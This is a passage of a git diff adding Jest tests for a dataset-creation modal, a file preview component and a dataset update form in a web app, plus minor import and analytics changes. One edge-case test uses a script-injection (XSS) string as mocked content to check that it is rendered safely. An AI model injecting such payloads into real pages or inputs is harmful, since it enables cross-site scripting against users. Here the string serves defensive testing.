+      mockCreateEmptyDataset.mockRejectedValue(new Error('Server Error'))
+      render(<EmptyDatasetCreationModal show={true} onHide={mockOnHide} />)
+      const input = screen.getByPlaceholderText('datasetCreation.stepOne.modal.placeholder')
+      const confirmButton = screen.getByText('datasetCreation.stepOne.modal.confirmButton')
+
+      // Act
+      fireEvent.change(input, { target: { value: 'Error Test' } })
+      fireEvent.click(confirmButton)
+
+      // Assert - Verify error handling
+      await waitFor(() => {
+        // 1. API was called
+        expect(mockCreateEmptyDataset).toHaveBeenCalled()
+        // 2. Error notification shown
+        expect(mockNotify).toHaveBeenCalledWith({
+          type: 'error',
+          message: 'datasetCreation.stepOne.modal.failed',
+        })
+      })
+
+      // 3. These should NOT happen on error
+      expect(mockInvalidDatasetList).not.toHaveBeenCalled()
+      expect(mockOnHide).not.toHaveBeenCalled()
+      expect(mockPush).not.toHaveBeenCalled()
+    })
+  })
+})
diff --git a/web/app/components/datasets/create/empty-dataset-creation-modal/index.tsx b/web/app/components/datasets/create/empty-dataset-creation-modal/index.tsx
index 12b9366744..db5aa8e48d 100644
--- a/web/app/components/datasets/create/empty-dataset-creation-modal/index.tsx
+++ b/web/app/components/datasets/create/empty-dataset-creation-modal/index.tsx
@@ -4,7 +4,7 @@ import { useRouter } from 'next/navigation'
 import { useTranslation } from 'react-i18next'
 import { useContext } from 'use-context-selector'
 import s from './index.module.css'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Modal from '@/app/components/base/modal'
 import Input from '@/app/components/base/input'
 import Button from '@/app/components/base/button'
@@ -12,6 +12,7 @@ import Button from '@/app/components/base/button'
 import { ToastContext } from '@/app/components/base/toast'
 import { createEmptyDataset } from '@/service/datasets'
 import { useInvalidDatasetList } from '@/service/knowledge/use-dataset'
+import { trackEvent } from '@/app/components/base/amplitude'
 
 type IProps = {
   show: boolean
@@ -40,6 +41,10 @@ const EmptyDatasetCreationModal = ({
     try {
       const dataset = await createEmptyDataset({ name: inputValue })
       invalidDatasetList()
+      trackEvent('create_empty_datasets', {
+        name: inputValue,
+        dataset_id: dataset.id,
+      })
       onHide()
       router.push(`/datasets/${dataset.id}/documents`)
     }
diff --git a/web/app/components/datasets/create/file-preview/index.spec.tsx b/web/app/components/datasets/create/file-preview/index.spec.tsx
new file mode 100644
index 0000000000..b7d7b489b4
--- /dev/null
+++ b/web/app/components/datasets/create/file-preview/index.spec.tsx
@@ -0,0 +1,873 @@
+import { act, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import FilePreview from './index'
+import type { CustomFile as File } from '@/models/datasets'
+import { fetchFilePreview } from '@/service/common'
+
+// Mock the fetchFilePreview service
+jest.mock('@/service/common', () => ({
+  fetchFilePreview: jest.fn(),
+}))
+
+const mockFetchFilePreview = fetchFilePreview as jest.MockedFunction<typeof fetchFilePreview>
+
+// Factory function to create mock file objects
+const createMockFile = (overrides: Partial<File> = {}): File => {
+  const file = new window.File(['test content'], 'test-file.txt', {
+    type: 'text/plain',
+  }) as File
+  return Object.assign(file, {
+    id: 'file-123',
+    extension: 'txt',
+    mime_type: 'text/plain',
+    created_by: 'user-1',
+    created_at: Date.now(),
+    ...overrides,
+  })
+}
+
+// Helper to render FilePreview with default props
+const renderFilePreview = (props: Partial<{ file?: File; hidePreview: () => void }> = {}) => {
+  const defaultProps = {
+    file: createMockFile(),
+    hidePreview: jest.fn(),
+    ...props,
+  }
+  return {
+    ...render(<FilePreview {...defaultProps} />),
+    props: defaultProps,
+  }
+}
+
+// Helper to find the loading spinner element
+const findLoadingSpinner = (container: HTMLElement) => {
+  return container.querySelector('.spin-animation')
+}
+
+// ============================================================================
+// FilePreview Component Tests
+// ============================================================================
+describe('FilePreview', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    // Default successful API response
+    mockFetchFilePreview.mockResolvedValue({ content: 'Preview content here' })
+  })
+
+  // --------------------------------------------------------------------------
+  // Rendering Tests - Verify component renders properly
+  // --------------------------------------------------------------------------
+  describe('Rendering', () => {
+    it('should render without crashing', async () => {
+      // Arrange & Act
+      renderFilePreview()
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('datasetCreation.stepOne.filePreview')).toBeInTheDocument()
+      })
+    })
+
+    it('should render file preview header', async () => {
+      // Arrange & Act
+      renderFilePreview()
+
+      // Assert
+      expect(screen.getByText('datasetCreation.stepOne.filePreview')).toBeInTheDocument()
+    })
+
+    it('should render close button with XMarkIcon', async () => {
+      // Arrange & Act
+      const { container } = renderFilePreview()
+
+      // Assert
+      const closeButton = container.querySelector('.cursor-pointer')
+      expect(closeButton).toBeInTheDocument()
+      const xMarkIcon = closeButton?.querySelector('svg')
+      expect(xMarkIcon).toBeInTheDocument()
+    })
+
+    it('should render file name without extension', async () => {
+      // Arrange
+      const file = createMockFile({ name: 'document.pdf' })
+
+      // Act
+      renderFilePreview({ file })
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('document')).toBeInTheDocument()
+      })
+    })
+
+    it('should render file extension', async () => {
+      // Arrange
+      const file = createMockFile({ extension: 'pdf' })
+
+      // Act
+      renderFilePreview({ file })
+
+      // Assert
+      expect(screen.getByText('.pdf')).toBeInTheDocument()
+    })
+
+    it('should apply correct CSS classes to container', async () => {
+      // Arrange & Act
+      const { container } = renderFilePreview()
+
+      // Assert
+      const wrapper = container.firstChild as HTMLElement
+      expect(wrapper).toHaveClass('h-full')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Loading State Tests
+  // --------------------------------------------------------------------------
+  describe('Loading State', () => {
+    it('should show loading indicator initially', async () => {
+      // Arrange - Delay API response to keep loading state
+      mockFetchFilePreview.mockImplementation(
+        () => new Promise(resolve => setTimeout(() => resolve({ content: 'test' }), 100)),
+      )
+
+      // Act
+      const { container } = renderFilePreview()
+
+      // Assert - Loading should be visible initially (using spin-animation class)
+      const loadingElement = findLoadingSpinner(container)
+      expect(loadingElement).toBeInTheDocument()
+    })
+
+    it('should hide loading indicator after content loads', async () => {
+      // Arrange
+      mockFetchFilePreview.mockResolvedValue({ content: 'Loaded content' })
+
+      // Act
+      const { container } = renderFilePreview()
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('Loaded content')).toBeInTheDocument()
+      })
+      // Loading should be gone
+      const loadingElement = findLoadingSpinner(container)
+      expect(loadingElement).not.toBeInTheDocument()
+    })
+
+    it('should show loading when file changes', async () => {
+      // Arrange
+      const file1 = createMockFile({ id: 'file-1', name: 'file1.txt' })
+      const file2 = createMockFile({ id: 'file-2', name: 'file2.txt' })
+
+      let resolveFirst: (value: { content: string }) => void
+      let resolveSecond: (value: { content: string }) => void
+
+      mockFetchFilePreview
+        .mockImplementationOnce(() => new Promise((resolve) => { resolveFirst = resolve }))
+        .mockImplementationOnce(() => new Promise((resolve) => { resolveSecond = resolve }))
+
+      // Act - Initial render
+      const { rerender, container } = render(
+        <FilePreview file={file1} hidePreview={jest.fn()} />,
+      )
+
+      // First file loading - spinner should be visible
+      expect(findLoadingSpinner(container)).toBeInTheDocument()
+
+      // Resolve first file
+      await act(async () => {
+        resolveFirst({ content: 'Content 1' })
+      })
+
+      await waitFor(() => {
+        expect(screen.getByText('Content 1')).toBeInTheDocument()
+      })
+
+      // Rerender with new file
+      rerender(<FilePreview file={file2} hidePreview={jest.fn()} />)
+
+      // Should show loading again
+      await waitFor(() => {
+        expect(findLoadingSpinner(container)).toBeInTheDocument()
+      })
+
+      // Resolve second file
+      await act(async () => {
+        resolveSecond({ content: 'Content 2' })
+      })
+
+      await waitFor(() => {
+        expect(screen.getByText('Content 2')).toBeInTheDocument()
+      })
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // API Call Tests
+  // --------------------------------------------------------------------------
+  describe('API Calls', () => {
+    it('should call fetchFilePreview with correct fileID', async () => {
+      // Arrange
+      const file = createMockFile({ id: 'test-file-id' })
+
+      // Act
+      renderFilePreview({ file })
+
+      // Assert
+      await waitFor(() => {
+        expect(mockFetchFilePreview).toHaveBeenCalledWith({ fileID: 'test-file-id' })
+      })
+    })
+
+    it('should not call fetchFilePreview when file is undefined', async () => {
+      // Arrange & Act
+      renderFilePreview({ file: undefined })
+
+      // Assert
+      expect(mockFetchFilePreview).not.toHaveBeenCalled()
+    })
+
+    it('should not call fetchFilePreview when file has no id', async () => {
+      // Arrange
+      const file = createMockFile({ id: undefined })
+
+      // Act
+      renderFilePreview({ file })
+
+      // Assert
+      expect(mockFetchFilePreview).not.toHaveBeenCalled()
+    })
+
+    it('should call fetchFilePreview again when file changes', async () => {
+      // Arrange
+      const file1 = createMockFile({ id: 'file-1' })
+      const file2 = createMockFile({ id: 'file-2' })
+
+      // Act
+      const { rerender } = render(
+        <FilePreview file={file1} hidePreview={jest.fn()} />,
+      )
+
+      await waitFor(() => {
+        expect(mockFetchFilePreview).toHaveBeenCalledWith({ fileID: 'file-1' })
+      })
+
+      rerender(<FilePreview file={file2} hidePreview={jest.fn()} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockFetchFilePreview).toHaveBeenCalledWith({ fileID: 'file-2' })
+        expect(mockFetchFilePreview).toHaveBeenCalledTimes(2)
+      })
+    })
+
+    it('should handle API success and display content', async () => {
+      // Arrange
+      mockFetchFilePreview.mockResolvedValue({ content: 'File preview content from API' })
+
+      // Act
+      renderFilePreview()
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('File preview content from API')).toBeInTheDocument()
+      })
+    })
+
+    it('should handle API error gracefully', async () => {
+      // Arrange
+      mockFetchFilePreview.mockRejectedValue(new Error('Network error'))
+
+      // Act
+      const { container } = renderFilePreview()
+
+      // Assert - Component should not crash, loading may persist
+      await waitFor(() => {
+        expect(container.firstChild).toBeInTheDocument()
+      })
+      // No error thrown, component still rendered
+      expect(screen.getByText('datasetCreation.stepOne.filePreview')).toBeInTheDocument()
+    })
+
+    it('should handle empty content response', async () => {
+      // Arrange
+      mockFetchFilePreview.mockResolvedValue({ content: '' })
+
+      // Act
+      const { container } = renderFilePreview()
+
+      // Assert - Should still render without loading
+      await waitFor(() => {
+        const loadingElement = findLoadingSpinner(container)
+        expect(loadingElement).not.toBeInTheDocument()
+      })
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // User Interactions Tests
+  // --------------------------------------------------------------------------
+  describe('User Interactions', () => {
+    it('should call hidePreview when close button is clicked', async () => {
+      // Arrange
+      const hidePreview = jest.fn()
+      const { container } = renderFilePreview({ hidePreview })
+
+      // Act
+      const closeButton = container.querySelector('.cursor-pointer') as HTMLElement
+      fireEvent.click(closeButton)
+
+      // Assert
+      expect(hidePreview).toHaveBeenCalledTimes(1)
+    })
+
+    it('should call hidePreview with event object when clicked', async () => {
+      // Arrange
+      const hidePreview = jest.fn()
+      const { container } = renderFilePreview({ hidePreview })
+
+      // Act
+      const closeButton = container.querySelector('.cursor-pointer') as HTMLElement
+      fireEvent.click(closeButton)
+
+      // Assert - onClick receives the event object
+      expect(hidePreview).toHaveBeenCalled()
+      expect(hidePreview.mock.calls[0][0]).toBeDefined()
+    })
+
+    it('should handle multiple clicks on close button', async () => {
+      // Arrange
+      const hidePreview = jest.fn()
+      const { container } = renderFilePreview({ hidePreview })
+
+      // Act
+      const closeButton = container.querySelector('.cursor-pointer') as HTMLElement
+      fireEvent.click(closeButton)
+      fireEvent.click(closeButton)
+      fireEvent.click(closeButton)
+
+      // Assert
+      expect(hidePreview).toHaveBeenCalledTimes(3)
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // State Management Tests
+  // --------------------------------------------------------------------------
+  describe('State Management', () => {
+    it('should initialize with loading state true', async () => {
+      // Arrange - Keep loading indefinitely (never resolves)
+      mockFetchFilePreview.mockImplementation(() => new Promise(() => { /* intentionally empty */ }))
+
+      // Act
+      const { container } = renderFilePreview()
+
+      // Assert
+      const loadingElement = findLoadingSpinner(container)
+      expect(loadingElement).toBeInTheDocument()
+    })
+
+    it('should update previewContent state after successful fetch', async () => {
+      // Arrange
+      mockFetchFilePreview.mockResolvedValue({ content: 'New preview content' })
+
+      // Act
+      renderFilePreview()
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('New preview content')).toBeInTheDocument()
+      })
+    })
+
+    it('should reset loading to true when file changes', async () => {
+      // Arrange
+      const file1 = createMockFile({ id: 'file-1' })
+      const file2 = createMockFile({ id: 'file-2' })
+
+      mockFetchFilePreview
+        .mockResolvedValueOnce({ content: 'Content 1' })
+        .mockImplementationOnce(() => new Promise(() => { /* never resolves */ }))
+
+      // Act
+      const { rerender, container } = render(
+        <FilePreview file={file1} hidePreview={jest.fn()} />,
+      )
+
+      await waitFor(() => {
+        expect(screen.getByText('Content 1')).toBeInTheDocument()
+      })
+
+      // Change file
+      rerender(<FilePreview file={file2} hidePreview={jest.fn()} />)
+
+      // Assert - Loading should be shown again
+      await waitFor(() => {
+        const loadingElement = findLoadingSpinner(container)
+        expect(loadingElement).toBeInTheDocument()
+      })
+    })
+
+    it('should preserve content until new content loads', async () => {
+      // Arrange
+      const file1 = createMockFile({ id: 'file-1' })
+      const file2 = createMockFile({ id: 'file-2' })
+
+      let resolveSecond: (value: { content: string }) => void
+
+      mockFetchFilePreview
+        .mockResolvedValueOnce({ content: 'Content 1' })
+        .mockImplementationOnce(() => new Promise((resolve) => { resolveSecond = resolve }))
+
+      // Act
+      const { rerender } = render(
+        <FilePreview file={file1} hidePreview={jest.fn()} />,
+      )
+
+      await waitFor(() => {
+        expect(screen.getByText('Content 1')).toBeInTheDocument()
+      })
+
+      // Change file - loading should replace content
+      rerender(<FilePreview file={file2} hidePreview={jest.fn()} />)
+
+      // Resolve second fetch
+      await act(async () => {
+        resolveSecond({ content: 'Content 2' })
+      })
+
+      await waitFor(() => {
+        expect(screen.getByText('Content 2')).toBeInTheDocument()
+        expect(screen.queryByText('Content 1')).not.toBeInTheDocument()
+      })
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Props Testing
+  // --------------------------------------------------------------------------
+  describe('Props', () => {
+    describe('file prop', () => {
+      it('should render correctly with file prop', async () => {
+        // Arrange
+        const file = createMockFile({ name: 'my-document.pdf', extension: 'pdf' })
+
+        // Act
+        renderFilePreview({ file })
+
+        // Assert
+        expect(screen.getByText('my-document')).toBeInTheDocument()
+        expect(screen.getByText('.pdf')).toBeInTheDocument()
+      })
+
+      it('should render correctly without file prop', async () => {
+        // Arrange & Act
+        renderFilePreview({ file: undefined })
+
+        // Assert - Header should still render
+        expect(screen.getByText('datasetCreation.stepOne.filePreview')).toBeInTheDocument()
+      })
+
+      it('should handle file with multiple dots in name', async () => {
+        // Arrange
+        const file = createMockFile({ name: 'my.document.v2.pdf' })
+
+        // Act
+        renderFilePreview({ file })
+
+        // Assert - Should join all parts except last with comma
+        expect(screen.getByText('my,document,v2')).toBeInTheDocument()
+      })
+
+      it('should handle file with no extension in name', async () => {
+        // Arrange
+        const file = createMockFile({ name: 'README' })
+
+        // Act
+        const { container } = renderFilePreview({ file })
+
+        // Assert - getFileName returns empty for single segment, but component still renders
+        const fileNameElement = container.querySelector('.fileName')
+        expect(fileNameElement).toBeInTheDocument()
+        // The first span (file name) should be empty
+        const fileNameSpan = fileNameElement?.querySelector('span:first-child')
+        expect(fileNameSpan?.textContent).toBe('')
+      })
+
+      it('should handle file with empty name', async () => {
+        // Arrange
+        const file = createMockFile({ name: '' })
+
+        // Act
+        const { container } = renderFilePreview({ file })
+
+        // Assert - Should not crash
+        expect(container.firstChild).toBeInTheDocument()
+      })
+    })
+
+    describe('hidePreview prop', () => {
+      it('should accept hidePreview callback', async () => {
+        // Arrange
+        const hidePreview = jest.fn()
+
+        // Act
+        renderFilePreview({ hidePreview })
+
+        // Assert - No errors thrown
+        expect(screen.getByText('datasetCreation.stepOne.filePreview')).toBeInTheDocument()
+      })
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Edge Cases Tests
+  // --------------------------------------------------------------------------
+  describe('Edge Cases', () => {
+    it('should handle file with undefined id', async () => {
+      // Arrange
+      const file = createMockFile({ id: undefined })
+
+      // Act
+      const { container } = renderFilePreview({ file })
+
+      // Assert - Should not call API, remain in loading state
+      expect(mockFetchFilePreview).not.toHaveBeenCalled()
+      expect(container.firstChild).toBeInTheDocument()
+    })
+
+    it('should handle file with empty string id', async () => {
+      // Arrange
+      const file = createMockFile({ id: '' })
+
+      // Act
+      renderFilePreview({ file })
+
+      // Assert - Empty string is falsy, should not call API
+      expect(mockFetchFilePreview).not.toHaveBeenCalled()
+    })
+
+    it('should handle very long file names', async () => {
+      // Arrange
+      const longName = `${'a'.repeat(200)}.pdf`
+      const file = createMockFile({ name: longName })
+
+      // Act
+      renderFilePreview({ file })
+
+      // Assert
+      expect(screen.getByText('a'.repeat(200))).toBeInTheDocument()
+    })
+
+    it('should handle file with special characters in name', async () => {
+      // Arrange
+      const file = createMockFile({ name: 'file-with_special@#$%.txt' })
+
+      // Act
+      renderFilePreview({ file })
+
+      // Assert
+      expect(screen.getByText('file-with_special@#$%')).toBeInTheDocument()
+    })
+
+    it('should handle very long preview content', async () => {
+      // Arrange
+      const longContent = 'x'.repeat(10000)
+      mockFetchFilePreview.mockResolvedValue({ content: longContent })
+
+      // Act
+      renderFilePreview()
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText(longContent)).toBeInTheDocument()
+      })
+    })
+
+    it('should handle preview content with special characters safely', async () => {
+      // Arrange
+      const specialContent = '<script>alert("xss")</script>\n\t& < > "'
+      mockFetchFilePreview.mockResolvedValue({ content: specialContent })
+
+      // Act
+      const { container } = renderFilePreview()
+
+      // Assert - Should render as text, not execute scripts
+      await waitFor(() => {
+        const contentDiv = container.querySelector('.fileContent')
+        expect(contentDiv).toBeInTheDocument()
+        // Content is escaped by React, so HTML entities are displayed
+        expect(contentDiv?.textContent).toContain('alert')
+      })
+    })
+
+    it('should handle preview content with unicode', async () => {
+      // Arrange
+      const unicodeContent = '中文内容 🚀 émojis & spëcîal çhàrs'
+      mockFetchFilePreview.mockResolvedValue({ content: unicodeContent })
+
+      // Act
+      renderFilePreview()
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText(unicodeContent)).toBeInTheDocument()
+      })
+    })
+
+    it('should handle preview content with newlines', async () => {
+      // Arrange
+      const multilineContent = 'Line 1\nLine 2\nLine 3'
+      mockFetchFilePreview.mockResolvedValue({ content: multilineContent })
+
+      // Act
+      const { container } = renderFilePreview()
+
+      // Assert - Content should be in the DOM
+      await waitFor(() => {
+        const contentDiv = container.querySelector('.fileContent')
+        expect(contentDiv).toBeInTheDocument()
+        expect(contentDiv?.textContent).toContain('Line 1')
+        expect(contentDiv?.textContent).toContain('Line 2')
+        expect(contentDiv?.textContent).toContain('Line 3')
+      })
+    })
+
+    it('should handle null content from API', async () => {
+      // Arrange
+      mockFetchFilePreview.mockResolvedValue({ content: null as unknown as string })
+
+      // Act
+      const { container } = renderFilePreview()
+
+      // Assert - Should not crash
+      await waitFor(() => {
+        expect(container.firstChild).toBeInTheDocument()
+      })
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Side Effects and Cleanup Tests
+  // --------------------------------------------------------------------------
+  describe('Side Effects and Cleanup', () => {
+    it('should trigger effect when file prop changes', async () => {
+      // Arrange
+      const file1 = createMockFile({ id: 'file-1' })
+      const file2 = createMockFile({ id: 'file-2' })
+
+      // Act
+      const { rerender } = render(
+        <FilePreview file={file1} hidePreview={jest.fn()} />,
+      )
+
+      await waitFor(() => {
+        expect(mockFetchFilePreview).toHaveBeenCalledTimes(1)
+      })
+
+      rerender(<FilePreview file={file2} hidePreview={jest.fn()} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockFetchFilePreview).toHaveBeenCalledTimes(2)
+      })
+    })
+
+    it('should not trigger effect when hidePreview changes', async () => {
+      // Arrange
+      const file = createMockFile()
+      const hidePreview1 = jest.fn()
+      const hidePreview2 = jest.fn()
+
+      // Act
+      const { rerender } = render(
+        <FilePreview file={file} hidePreview={hidePreview1} />,
+      )
+
+      await waitFor(() => {
+        expect(mockFetchFilePreview).toHaveBeenCalledTimes(1)
+      })
+
+      rerender(<FilePreview file={file} hidePreview={hidePreview2} />)
+
+      // Assert - Should not call API again (file didn't change)
+      // Note: This depends on useEffect dependency array only including [file]
+      await waitFor(() => {
+        expect(mockFetchFilePreview).toHaveBeenCalledTimes(1)
+      })
+    })
+
+    it('should handle rapid file changes', async () => {
+      // Arrange
+      const files = Array.from({ length: 5 }, (_, i) =>
+        createMockFile({ id: `file-${i}` }),
+      )
+
+      // Act
+      const { rerender } = render(
+        <FilePreview file={files[0]} hidePreview={jest.fn()} />,
+      )
+
+      // Rapidly change files
+      for (let i = 1; i < files.length; i++)
+        rerender(<FilePreview file={files[i]} hidePreview={jest.fn()} />)
+
+      // Assert - Should have called API for each file
+      await waitFor(() => {
+        expect(mockFetchFilePreview).toHaveBeenCalledTimes(5)
+      })
+    })
+
+    it('should handle unmount during loading', async () => {
+      // Arrange
+      mockFetchFilePreview.mockImplementation(
+        () => new Promise(resolve => setTimeout(() => resolve({ content: 'delayed' }), 1000)),
+      )
+
+      // Act
+      const { unmount } = renderFilePreview()
+
+      // Unmount before API resolves
+      unmount()
+
+      // Assert - No errors should be thrown (React handles state updates on unmounted)
+      expect(true).toBe(true)
+    })
+
+    it('should handle file changing from defined to undefined', async () => {
+      // Arrange
+      const file = createMockFile()
+
+      // Act
+      const { rerender, container } = render(
+        <FilePreview file={file} hidePreview={jest.fn()} />,
+      )
+
+      await waitFor(() => {
+        expect(mockFetchFilePreview).toHaveBeenCalledTimes(1)
+      })
+
+      rerender(<FilePreview file={undefined} hidePreview={jest.fn()} />)
+
+      // Assert - Should not crash, API should not be called again
+      expect(container.firstChild).toBeInTheDocument()
+      expect(mockFetchFilePreview).toHaveBeenCalledTimes(1)
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // getFileName Helper Tests
+  // --------------------------------------------------------------------------
+  describe('getFileName Helper', () => {
+    it('should extract name without extension for simple filename', async () => {
+      // Arrange
+      const file = createMockFile({ name: 'document.pdf' })
+
+      // Act
+      renderFilePreview({ file })
+
+      // Assert
+      expect(screen.getByText('document')).toBeInTheDocument()
+    })
+
+    it('should handle filename with multiple dots', async () => {
+      // Arrange
+      const file = createMockFile({ name: 'file.name.with.dots.txt' })
+
+      // Act
+      renderFilePreview({ file })
+
+      // Assert - Should join all parts except last with comma
+      expect(screen.getByText('file,name,with,dots')).toBeInTheDocument()
+    })
+
+    it('should return empty for filename without dot', async () => {
+      // Arrange
+      const file = createMockFile({ name: 'nodotfile' })
+
+      // Act
+      const { container } = renderFilePreview({ file })
+
+      // Assert - slice(0, -1) on single element array returns empty
+      const fileNameElement = container.querySelector('.fileName')
+      const firstSpan = fileNameElement?.querySelector('span:first-child')
+      expect(firstSpan?.textContent).toBe('')
+    })
+
+    it('should return empty string when file is undefined', async () => {
+      // Arrange & Act
+      const { container } = renderFilePreview({ file: undefined })
+
+      // Assert - File name area should have empty first span
+      const fileNameElement = container.querySelector('.system-xs-medium')
+      expect(fileNameElement).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Accessibility Tests
+  // --------------------------------------------------------------------------
+  describe('Accessibility', () => {
+    it('should have clickable close button with visual indicator', async () => {
+      // Arrange & Act
+      const { container } = renderFilePreview()
+
+      // Assert
+      const closeButton = container.querySelector('.cursor-pointer')
+      expect(closeButton).toBeInTheDocument()
+      expect(closeButton).toHaveClass('cursor-pointer')
+    })
+
+    it('should have proper heading structure', async () => {
+      // Arrange & Act
+      renderFilePreview()
+
+      // Assert
+      expect(screen.getByText('datasetCreation.stepOne.filePreview')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Error Handling Tests
+  // --------------------------------------------------------------------------
+  describe('Error Handling', () => {
+    it('should not crash on API network error', async () => {
+      // Arrange
+      mockFetchFilePreview.mockRejectedValue(new Error('Network Error'))
+
+      // Act
+      const { container } = renderFilePreview()
+
+      // Assert - Component should still render
+      await waitFor(() => {
+        expect(container.firstChild).toBeInTheDocument()
+      })
+    })
+
+    it('should not crash on API timeout', async () => {
+      // Arrange
+      mockFetchFilePreview.mockRejectedValue(new Error('Timeout'))
+
+      // Act
+      const { container } = renderFilePreview()
+
+      // Assert
+      await waitFor(() => {
+        expect(container.firstChild).toBeInTheDocument()
+      })
+    })
+
+    it('should not crash on malformed API response', async () => {
+      // Arrange
+      mockFetchFilePreview.mockResolvedValue({} as { content: string })
+
+      // Act
+      const { container } = renderFilePreview()
+
+      // Assert
+      await waitFor(() => {
+        expect(container.firstChild).toBeInTheDocument()
+      })
+    })
+  })
+})
diff --git a/web/app/components/datasets/create/file-preview/index.tsx b/web/app/components/datasets/create/file-preview/index.tsx
index 8a88834ebe..012f3608dc 100644
--- a/web/app/components/datasets/create/file-preview/index.tsx
+++ b/web/app/components/datasets/create/file-preview/index.tsx
@@ -4,7 +4,7 @@ import { useTranslation } from 'react-i18next'
 import { XMarkIcon } from '@heroicons/react/20/solid'
 import Loading from '@/app/components/base/loading'
 import s from './index.module.css'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { CustomFile as File } from '@/models/datasets'
 import { fetchFilePreview } from '@/service/common'
 
diff --git a/web/app/components/datasets/create/file-uploader/index.tsx b/web/app/components/datasets/create/file-uploader/index.tsx
index 700a5f7680..20c8ea3633 100644
--- a/web/app/components/datasets/create/file-uploader/index.tsx
+++ b/web/app/components/datasets/create/file-uploader/index.tsx
@@ -4,7 +4,7 @@ import { useTranslation } from 'react-i18next'
 import { useContext } from 'use-context-selector'
 import { RiDeleteBinLine, RiUploadCloud2Line } from '@remixicon/react'
 import DocumentFileIcon from '../../common/document-file-icon'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { CustomFile as File, FileItem } from '@/models/datasets'
 import { ToastContext } from '@/app/components/base/toast'
 import SimplePieChart from '@/app/components/base/simple-pie-chart'
diff --git a/web/app/components/datasets/create/index.spec.tsx b/web/app/components/datasets/create/index.spec.tsx
new file mode 100644
index 0000000000..b0bac1a1cb
--- /dev/null
+++ b/web/app/components/datasets/create/index.spec.tsx
@@ -0,0 +1,1282 @@
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import React from 'react'
+import DatasetUpdateForm from './index'
+import { ChunkingMode, DataSourceType, DatasetPermission } from '@/models/datasets'
+import type { DataSet } from '@/models/datasets'
+import { DataSourceProvider } from '@/models/common'
+import type { DataSourceAuth } from '@/app/components/header/account-setting/data-source-page-new/types'
+import { RETRIEVE_METHOD } from '@/types/app'
+
+// IndexingType values from step-two (defined here since we mock step-two)
+// Using type assertion to match the expected IndexingType enum from step-two
+const IndexingTypeValues = {
+  QUALIFIED: 'high_quality' as const,
+  ECONOMICAL: 'economy' as const,
+}
+
+// ==========================================
+// Mock External Dependencies
+// ==========================================
+
+// Mock react-i18next (handled by __mocks__/react-i18next.ts but we override for custom messages)
+jest.mock('react-i18next', () => ({
+  useTranslation: () => ({
+    t: (key: string) => key,
+  }),
+}))
+
+// Mock next/link
+jest.mock('next/link', () => {
+  return function MockLink({ children, href }: { children: React.ReactNode; href: string }) {
+    return <a href={href}>{children}</a>
+  }
+})
+
+// Mock modal context
+const mockSetShowAccountSettingModal = jest.fn()
+jest.mock('@/context/modal-context', () => ({
+  useModalContextSelector: (selector: (state: any) => any) => {
+    const state = {
+      setShowAccountSettingModal: mockSetShowAccountSettingModal,
+    }
+    return selector(state)
+  },
+}))
+
+// Mock dataset detail context
+let mockDatasetDetail: DataSet | undefined
+jest.mock('@/context/dataset-detail', () => ({
+  useDatasetDetailContextWithSelector: (selector: (state: any) => any) => {
+    const state = {
+      dataset: mockDatasetDetail,
+    }
+    return selector(state)
+  },
+}))
+
+// Mock useDefaultModel hook
+let mockEmbeddingsDefaultModel: { model: string; provider: string } | undefined
+jest.mock('@/app/components/header/account-setting/model-provider-page/hooks', () => ({
+  useDefaultModel: () => ({
+    data: mockEmbeddingsDefaultModel,
+    mutate: jest.fn(),
+    isLoading: false,
+  }),
+}))
+
+// Mock useGetDefaultDataSourceListAuth hook
+let mockDataSourceList: { result: DataSourceAuth[] } | undefined
+let mockIsLoadingDataSourceList = false
+let mockFetchingError = false
+jest.mock('@/service/use-datasource', () => ({
+  useGetDefaultDataSourceListAuth: () => ({
+    data: mockDataSourceList,
+    isLoading: mockIsLoadingDataSourceList,
+    isError: mockFetchingError,
+  }),
+}))
+
+// ==========================================
+// Mock Child Components
+// ==========================================
+
+// Track props passed to child components
+let stepOneProps: Record<string, any> = {}
+let stepTwoProps: Record<string, any> = {}
+let stepThreeProps: Record<string, any> = {}
+// _topBarProps is assigned but not directly used in assertions - values checked via data-testid
+let _topBarProps: Record<string, any> = {}
+
+jest.mock('./step-one', () => ({
+  __esModule: true,
+  default: (props: Record<string, any>) => {
+    stepOneProps = props
+    return (
+      <div data-testid="step-one">
+        <span data-testid="step-one-data-source-type">{props.dataSourceType}</span>
+        <span data-testid="step-one-files-count">{props.files?.length || 0}</span>
+        <span data-testid="step-one-notion-pages-count">{props.notionPages?.length || 0}</span>
+        <span data-testid="step-one-website-pages-count">{props.websitePages?.length || 0}</span>
+        <button data-testid="step-one-next" onClick={props.onStepChange}>Next Step</button>
+        <button data-testid="step-one-setting" onClick={props.onSetting}>Open Settings</button>
+        <button
+          data-testid="step-one-change-type"
+          onClick={() => props.changeType(DataSourceType.NOTION)}
+        >
+          Change Type
+        </button>
+        <button
+          data-testid="step-one-update-files"
+          onClick={() => props.updateFileList([{ fileID: 'test-1', file: { name: 'test.txt' }, progress: 0 }])}
+        >
+          Add File
+        </button>
+        <button
+          data-testid="step-one-update-file-progress"
+          onClick={() => {
